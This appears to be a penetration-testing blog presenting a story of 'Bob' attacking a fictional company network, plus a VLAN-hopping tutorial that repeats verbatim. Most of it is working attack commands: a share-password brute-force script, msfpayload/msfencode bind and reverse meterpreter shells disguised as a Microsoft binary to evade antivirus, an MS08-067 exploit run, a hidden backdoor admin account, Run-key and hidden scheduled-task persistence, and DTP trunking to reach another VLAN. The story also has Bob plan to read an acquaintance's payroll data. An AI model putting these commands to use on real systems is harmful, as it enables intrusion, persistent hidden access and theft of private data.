Sorted. Again it's getting late so Bob decides to call it a day. Before he does though he needs to leave himself a few backdoors.......which will of course be in the next post.
Bob Prepares For Action
Bobs back and he's been thinking about his new playground. He's realised that if he's not careful he'll attract attention and get into trouble, so he needs to lay down some ground-rules and define some goals before he goes back on the Wallifords network. If he's going to get the maximum benefit from Wallifords as a training ground rather than a playground he needs to get serious and stop recklessly throwing exploits at any old box.Goal 1
To extract as much information about the Walliford Network as possible.
Goal 2
To identify high value targets and gain access to those systems.
Goal 3
To remain undetected.
Goal 4
To generally have fun, learn his tools and practice his techniques.
Pretty simple goals eh. Bob knows that to remain undetected he's going to have to use as many tools that are already on the compromised host as he can. He knows that he needs to use as many legitimate tools as possible and only upload those that won't be detected by AV.
Getting his tools onto the compromised hosts is important, but uploading them one by one is a pain in the arse. Then Bob remembers something he heard in a great presentation on post exploitation from Dean Der Beer, a reference to a tool called Metacab. He takes a look at Metacab but decides against using it. Bob really likes the idea of Metacab but he wants a different set of tools so he goes about making his own version. Using the Makecab tool already in XP he creates a cab file containing the few additional tools he needs, knowing he can upload and extract the files from the cab with native windows tools from straight from the command-line.
The one tool he cannot do without is netcat but AV picks it up quite easily. Then Bob remembers that his Nmap directory has ncat, a new version of netcat with loads of additional features. Bob runs it through virustotal to see what gives.
Perfect, only detected by one AV product out of 41. Now Bob knows that he can use this tool for file transfer, creating proxies and even backdoors. Many of the other tools he decides to include in the cab file come from the Windows Resource Kit. This means that there is very little chance of them being detected by AV or looking like Potentially Unwanted Applications (PUA) on the host.
Tools List
cmd.exe
dsadd.exe
dsget.exe
dsquery.exe
edit.com
ncat.exe
net.exe
ngrep.exe
pmon.exe
PortQry.exe
reg.exe
srvinfo.exe
WinDump.exe
As expected VirusTotal finds nothing wrong with his other tools, but then again why would it.
So looking at his tools Bob has his ncat for backdoors and file transfer, he has a port scanner, pmon for keeping an eye on his hosts CPU and memory, tools for extracting anything out of Active Directory, packet sniffers, SrvInfo which is great for looking at details of servers. He also includes a couple of standard tools such as Net.exe and Cmd.exe which are there just encase they had been removed by the Sys Admin. Hopefully he's got everything he needs for a successful expedition into the Walliford Fries network. If not, he'll go back to the drawingboard and create a new cab file.
Bob also creates a few bat files that he can use for scanning and password checks. It's easier to create these now and include them in the cab than it is to write them on the fly.
His first bat file is a simple bruteforce script that will use in-built windows functions to bruteforce shares. He'll supply a userlist (names.txt) and a common password list (words.txt) to the bat file. The password list will be common passwords and can be tweaked using the inbuilt DOS Edit tool when he's on the target, and the userlists will be generated from his enumeration tool dsquery . After running the bruteforce script any succesfull logins will be saved to a text file (creds.txt). Bob knows from performing password audits in his other life that even when complex passwords are enforced users will still pick dumb complex passwords, such as Password01. And when it comes to change it......well of course were looking at Password02!
Before any bruteforcing is done Bob will be checking the password policies so he doesn't trip any account lockout thresholds. So if the account lockout policy triggers after 3 incorrect attempts in half an hour he'll just try 2 common passwords on all accounts. As they say, slow and steady wins the race.
Set /P target="Enter Target To Perform BF on:"
For /F %%i in (names.txt) do @(for /f %%j in (words.txt) do @echo %%i:%%j & @net use \\%target% %%j /u:%%i 2>nul && echo %%i:%%j >> ./creds.txt && net use \\%target% /del)
Bob will use the either net.exe or dsquery.exe to populate his names.txt file. Dsquery is fantastic for ripping through Active Directory and if you know what your doing you can use them to pretty much find out anything about users and computers. The beauty is, these tools can be run from any user account, so you don't need to pop an admins box to get some juicy info.
The next bat file that bob will include is to check for hosts that respond to a ping and output the results to a file.
set /P subnet="Enter subnet:"
for /L %%i in (1,1,255) do @ping -n 1 -w 1 %subnet%.%%i | find "Reply"
Another bat file is created to perform reverse lookups using a nslookup FOR loop.
set /P subnet="Enter subnet:"
For /L %%i in (1,1,255) do @nslookup %subnet%.%%i 2>nul | find "Name" && echo %subnet%.%%i
And finally a bat file to use the Portqry tool for port scans against hosts in a host file (hosts.txt). Again he can use dsquery or net.exe to populate the hosts file.
For /F %%i in (hosts.txt) do @PortQry.exe -n %%i -o 21,22,23,25,80,139,445,3389,1433 -p tcp
Ok, that'll do for now. Bob builds his ddf file for his cab file and creates the cab.
;*** MakeCAB Directive File for bin
;
.OPTION EXPLICIT ;*** Generate errors
.Set MaxCabinetSize=0
.Set MaxDiskSize=0
.Set CabinetNameTemplate=bin.cab
.set DiskDirectoryTemplate=CDROM ;
.Set CompressionType=MSZIP ;
.Set UniqueFiles="OFF"
.Set Cabinet=on
.Set DiskDirectory1=bin bf.bat
cmd.exe
dsadd.exe
dsget.exe
dsquery.exe
edit.com
hosts.txt
names.txt
ncat.exe
net.exe
ngrep.exe
pingsweep.bat
pmon.exe
port-scan.bat
PortQry.exe
reg.exe
rev-lookup.bat
srvinfo.exe
WinDump.exe
words.txt
;*** EOF
And to build his super duper cab, he makes sure all the tools, bat files and the bin.ddf file is in the same directory and.....
makecab /F bin.ddf
Perfect, after building his cab file it comes in at less than 1MB, Bob honestly couldn't be happier. He'll have to use the windows built-in tool called Expand.exe to get his files out of the cab.
expand /F:* bin.cab .
Right with that done Bob is almost ready to hop onto his target and put his tools to good use and start his network exploration.
Bob The Backdoor Man - Part 1
Bob hears on the grapevine that ncat won't work as a single executable. This is a bit of a bugger and it does give Bob a problem. His intention was to use ncat for file transfers, proxies and backdoors. It was also pretty useful that it was pretty much undetected by AV.Luckily for Bob he hears from a good friend that it's quite possible to modify netcat to be able to bypass anti-virus software. And luckily for Bob, the most talented Muts has created a video that shows him exactly how to do that here.
This problem also presents Bob with the perfect opportunity to get his hands dirty with some msfpayload love. He reckons that if he creates a couple of payloads to add into his cab file he should be able to do everything he needs. And the beauty of using msfpayload is he'll be able to run them through msfencode to bypass most anti-virus.
Before Bob creates his payloads he grabs a copy of winmsd.exe from his Windows OS. It doesn't really matter to him what file it is he just wants one that is a Microsoft file. He want this because all his payloads can take on the characteristics of the file. Rather than going to great lengths to hide a file, Bobs opinion is that hiding in plain site will probably be better.
Payload 1
For Bobs first payload he wants to create a generic payload that will spawn a command shell when he connects to it on port 6666.
./msfpayload windows/shell_bind_tcp LPORT=6666 R | ./msfencode -t exe -x /root/payloads/winmsd.exe -o /root/payloads/winmsd16.exe
Bob has specified a payload that will bind a shell to port 6666. He outputs this in raw format to the msfencode program that will help avoid detection by anti-virus software. Finally he has specified that the file is called winmsd16.exe and upon physical inspection it will look just like the original winmsd.exe file.
After Bob creates the file he tests it out on his XP VM to make sure it works as expected.
Side by side it looks just like the original file, it is identical in size and looks just as through its a legitimate file from Microsoft.
Bob runs the file and checks he can connect to it with netcat.
nc 10.0.1.10 6666
Payload 2
Bobs second payload will connect back to him when he's on the wireless network and present him with a meterpreter shell.
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.102 LPORT=8080 R | ./msfencode -t exe -x /root/payloads/winmsd.exe -o /root/payloads/winmsd32.exe
Again Bob uses a legitimate file to copy the characteristics from. This time on his host he has to make sure he has his listener ready on port 8080.
Bob decides that when he creates his listener he'll use msfconsole and pass the following commands:
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.101
set LPORT 8080
set ExitOnSession false
set AutoRunScript winenum.rb
exploit -j -z
Bob has configured his listener to accept multiple sessions coming back to him, and the very useful winenum script developed by Carlos "Dark operator" Perez will run against each connecting host. All the information from the script will be stored in ~/.msf/logs/ Bob may well decide to change this at a later date to another script but for now he's very happy.
With his modified netcat and his payloads created and tested Bob rebuilds his cab file and goes to get his dinner. He knows that during his network exploration adventures he may well come up against some problems that will cause him to create some payloads on the fly but he'll deal with that when it happens.
Whilst eating his dinner Bob begins to worry that if the Admins at Walliford Fries patch the computers he may well lose his way in. By the time Bob has eaten his ice cream desert he has come up with a few ideas how he might overcome this particular problem.
Bob The Backdoor Man - Part 2
The very next day Bob feels ready to hop back onto his compromised host on the Walliford Fries LAN and get his back doors planted. He logs into the wireless network with the WPA key he cracked earlier and he uses the gets a shell on the unpatched PC with the MS08-067 exploit.use windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.2.102
set LPORT 8181
set RHOST 192.168.2.101
exploit
Bob migrates to a stable process then uploads his backdoors to the Windows\System32 directory using Meterpreters upload function.
migrate 714
lcd /root/payloads
upload winmsd32.exe
upload winmsd16.exe
After Bob lauches a shell he creates a new user and adds it to the Administrators, Power Users and the Backup Operators groups
shell
net user MS_Support31337 Support31337 /add
net localgroup Administrators MS_Support31337 /add
net localgroup "Backup Operators" MS_Support31337 /add
net localgroup "Power Users" MS_Support31337 /add
He choose these privileged groups as a group policy may be configured to control the local Administrators group and by remaining in the other groups he will still have a high level of access.
Now Bob wants to get down to business and plant some of these lovely backdoors he's created. Bobs first port of call is to create a registry entry to run his meterpreter payload and connect back to Bob each time the computer is booted.
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Microsoft winmsd32" /d "C:\Windows\System32\winmsd32.exe"
Bob check that his registry entry has been set using the reg query command.
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Then it occurs to Bob that someone may well stumble across his registry entry and remove it so he decides to have a backup by creating some scheduled tasks. One task (the meterpeter reverse connect) will run every 10 minutes and the other (the listening shell) will run at startup.
schtasks /create /tn "Winmsd32" /tr C:\Windows\System32\winmsd32.exe /sc minute /mo 10 /RU "NT AUTHORITY\SYSTEM"
schtasks /create /tn "Winmsd16" /tr C:\Windows\System32\winmsd16.exe /sc onstart /RU "NT AUTHORITY\SYSTEM"
Now the only way the normal logged in user would see these Scheduled Tasks is by looking at the directory using a command prompt. Only an Administrator running schtasks on the PC would see these scheduled tasks, anyone else will see nothing. Even looking at the C:\Windows\Tasks folder through explorer wouldn't show the tasks as it will only show the current users tasks.
Bobs pretty happy about this but what would make him happier would be if it was really really hard to see his backdoors. Then it occurs to him that by changing the attributes on the jobs in the tasks folder it would be really really hard as the user would have to do a "dir /a:h *.*" on the directory specifically. Okay, so thats not really really hard but it is a bit of a bugger!
cd \windows\tasks
Attrib +H winmsd*.job
Then Bob checks his handy work by looking at just hidden files.
Great, Bob fires up another instance of msfconsole and sets up his handler for the sessions that should start coming in.
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.2.102
set LPORT 8080
set ExitOnSession false
set AutoRunScript winenum.rb
exploit -j -z
Within a minute or 2 Bob gets a session from his scheduled task backdoor.
What he really likes about these scheduled tasks is he wont get loads of sessions back from the same host, but if he looses connection he'll get another session back 10 minutes later. Also, every now and then Bob can change the AutoRunScript so Metasploit can gather all sorts of useful information on his behalf.
Now Bob is in, he has his backdoors sorted and he wants to have a look around to see what else might be interesting. Bob has a knows a guy who works for Wallifords. Now this guys is a bit of a dick and is always boasting about how much he earns. Bobs sure the guy exaggerates, wouldn't it be nice if Bob could access the payroll data and see if this guy is telling the truth?
Oh, look at that, lunch time. Bob goes and gets his dinner and has a think about what other interesting things he might be able to find on the Walliford network.
Abusing VLANs With BackTrack
In this post I'm going to have a little fun with VLANs. As I've been studying for the CCNA cert I've been reading how great VLANs are, so in this post i'm going to have a little fun with some really cool tools from the Backtrack distro. My aim is to demonstrate why simlpy placing hosts in a seperate VLAN might sometimes not be enough if you really don't want anyone to have access to them. Let's get started.
Tools
BackTrack
Yersinia
vconfig
Wireshark
Nmap
I start off by connecting to the LAN and getting a network address
dhclient eth0
I can see that I'm attached to the network 10.0.1.0/24
Next I fire up wireshark and check the network for DTP (Dynamic Trunking Protocol) frames and CDP (Cisco Discovery Protocol) frames.
I can see that I have both CDP and DTP frames present.
Now I want to tell the switch that my port is a trunk port, for this I'll use Yersinia and tell it to look at DTP.
yersinia -I
After I see DTP frames appear in Yersinia I launch the attack to configure the port for trunking.
Now I need to know the VLAN number that other networks are on. Before launching Yersinia I could only see traffic from my own network (10.0.1.0/24), now I can start to see traffic from hosts on another network (192.168.2.2).
Looking at the 802.1Q information in the frame I can see that the other network is on VLAN 2.
With this information I'll create a new interface in the new network and configure vconfig to tag the frames for VLAN2.
vconfig add eth0 2
ifconfig eth0.2 up
ifconfig eth0.2 192.168.2.200/24
ifconfig
Now I check I can ping the host I saw with Wireshark and I have a quick look at it's ports with Nmap.
ping -c 2 192.168.2.2
nmap 192.168.2.2
Great, I have plenty here to play with, and on port 80 ...........
Okay obviously this was staged but hopefully it illustrates two things. VLANs can be abused and Yersinia rocks!!!!!!!!!
Tools
BackTrack
Yersinia
vconfig
Wireshark
Nmap
I start off by connecting to the LAN and getting a network address
dhclient eth0
I can see that I'm attached to the network 10.0.1.0/24
Next I fire up wireshark and check the network for DTP (Dynamic Trunking Protocol) frames and CDP (Cisco Discovery Protocol) frames.
I can see that I have both CDP and DTP frames present.
Now I want to tell the switch that my port is a trunk port, for this I'll use Yersinia and tell it to look at DTP.
yersinia -I
After I see DTP frames appear in Yersinia I launch the attack to configure the port for trunking.
Now I need to know the VLAN number that other networks are on. Before launching Yersinia I could only see traffic from my own network (10.0.1.0/24), now I can start to see traffic from hosts on another network (192.168.2.2).
Looking at the 802.1Q information in the frame I can see that the other network is on VLAN 2.
With this information I'll create a new interface in the new network and configure vconfig to tag the frames for VLAN2.
vconfig add eth0 2
ifconfig eth0.2 up
ifconfig eth0.2 192.168.2.200/24
ifconfig
Now I check I can ping the host I saw with Wireshark and I have a quick look at it's ports with Nmap.
ping -c 2 192.168.2.2
nmap 192.168.2.2
Great, I have plenty here to play with, and on port 80 ...........
Okay obviously this was staged but hopefully it illustrates two things. VLANs can be abused and Yersinia rocks!!!!!!!!!
Subscribe to:
Posts (Atom)
